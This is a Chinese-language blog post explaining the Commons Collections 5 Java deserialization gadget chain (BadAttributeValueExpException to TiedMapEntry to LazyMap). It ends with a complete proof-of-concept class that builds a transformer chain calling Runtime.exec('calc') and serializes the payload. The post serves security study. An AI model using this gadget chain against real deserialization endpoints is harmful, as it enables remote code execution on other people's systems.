• [Java反序列化]—CommonsCollections5


    先贴张其他师傅的图

    其实 CC5就是CC1的一种变形,前半段改修一下,后面接上就是CC5了。CC1是通过AnnotationInvocationHandler.invoke()获取get(),而CC5则是通过TiedMapEntry.toString(),其余部分都是一样的

    分析

    看看TiedMapEntry如何调用的 get 方法

    1. public String toString() {
    2. return getKey() + "=" + getValue();
    3. }

    getValue 中调用了 get()

    1. public Object getValue() {
    2. return map.get(key);
    3. }

    这里可以用构造器修改map的值,就可以接上后面的部分

    1. public TiedMapEntry(Map map, Object key) {
    2. super();
    3. this.map = map;
    4. this.key = key;
    5. }

    再来看看哪里调用的toString()

    全局搜索,在在BadAttributeValueExpException类中的readObject()中发现调用

    1. private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
    2. ObjectInputStream.GetField gf = ois.readFields();
    3. Object valObj = gf.get("val", null);
    4. if (valObj == null) {
    5. val = null;
    6. } else if (valObj instanceof String) {
    7. val= valObj;
    8. } else if (System.getSecurityManager() == null
    9. || valObj instanceof Long
    10. || valObj instanceof Integer
    11. || valObj instanceof Float
    12. || valObj instanceof Double
    13. || valObj instanceof Byte
    14. || valObj instanceof Short
    15. || valObj instanceof Boolean) {
    16. val = valObj.toString();
    17. } else { // the serialized object is from a version without JDK-8019292 fix
    18. val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
    19. }
    20. }
    val = valObj.toString();

    调用的是valObj .toString(), 所以我们要构造valObj为 TiedMapEntry类,看一下valObj的定义:

    1. ObjectInputStream.GetField gf = ois.readFields();
    2. Object valObj = gf.get("val", null);

    先调用readFields从流中读取了所有的持久化字段,然后调用get()方法得到了名字是val的字段。

    所以可以通过修改val的值,来修改valobj,而val是本类中的一个私有属性,直接反射修改即可

    private Object val;
    

    链子就清晰了,构造

    BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
    

    这里实例化这个对象,需要传值 NUll,因为在他的构造方法中 有个

    1. public BadAttributeValueExpException (Object val) {
    2. this.val = val == null ? null : val.toString();
    3. }

    如果传值为null ,则赋值null给var,如果val有值,则会直接调用toString,提前出发我们反序列化

    接着通过反射 修改val的值为 TiedMapEntry 类就可以了

    最终poc

    1. package CommonsCollections5;
    2. import javax.management.BadAttributeValueExpException;
    3. import org.apache.commons.collections.keyvalue.TiedMapEntry;
    4. import org.apache.commons.collections.Transformer;
    5. import org.apache.commons.collections.functors.ChainedTransformer;
    6. import org.apache.commons.collections.functors.ConstantTransformer;
    7. import org.apache.commons.collections.functors.InvokerTransformer;
    8. import org.apache.commons.collections.map.LazyMap;
    9. import java.io.*;
    10. import java.lang.reflect.*;
    11. import java.util.HashMap;
    12. import java.util.Map;
    13. public class cc5 {
    14. public static void main(String[] args) throws ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchMethodException, IOException, NoSuchFieldException {
    15. Transformer[] transformers = new Transformer[]{
    16. new ConstantTransformer(Runtime.class),
    17. new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
    18. new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
    19. new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
    20. };
    21. ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    22. Map innerMap = new HashMap();
    23. Map outerMap = LazyMap.decorate(innerMap,chainedTransformer);
    24. BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
    25. TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,"snowyf");
    26. Class badAttributeValueExpExceptionClass = BadAttributeValueExpException.class;
    27. Field val = badAttributeValueExpExceptionClass.getDeclaredField("val");
    28. val.setAccessible(true);
    29. val.set(badAttributeValueExpException,tiedMapEntry);
    30. serialize(badAttributeValueExpException);
    31. unserialize("1.txt");
    32. }
    33. public static void serialize(Object obj) throws IOException {
    34. ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("1.txt"));
    35. out.writeObject(obj);
    36. }
    37. public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
    38. ObjectInputStream In = new ObjectInputStream(new FileInputStream(Filename));
    39. Object o = In.readObject();
    40. return o;
    41. }
    42. }

  • 相关阅读:
    【算法】区间调度算法
    计算机毕业设计Java化妆品销售网站(源码+系统+mysql数据库+lw文档)
    高通 mtk 展讯等芯片机型读取 备份手机全字库分区 的一些操作解析
    Intel确认酷睿第14代是最后一代酷睿i系列, 以后是酷睿Ultra的时代
    mybatisPlus
    led台灯哪个牌子最好?2022最新的台灯牌子排名
    C++(第六篇):模板详解(函数模板、类模板、非类型模板参数、模板特化、模板分离编译问题及一些题目)
    使用powerMock处理静态方法
    神经网络算法简单例子,神经网络算法应用实例
    用Docker取代VMware虚拟机
  • 原文地址:https://blog.csdn.net/snowlyzz/article/details/128091213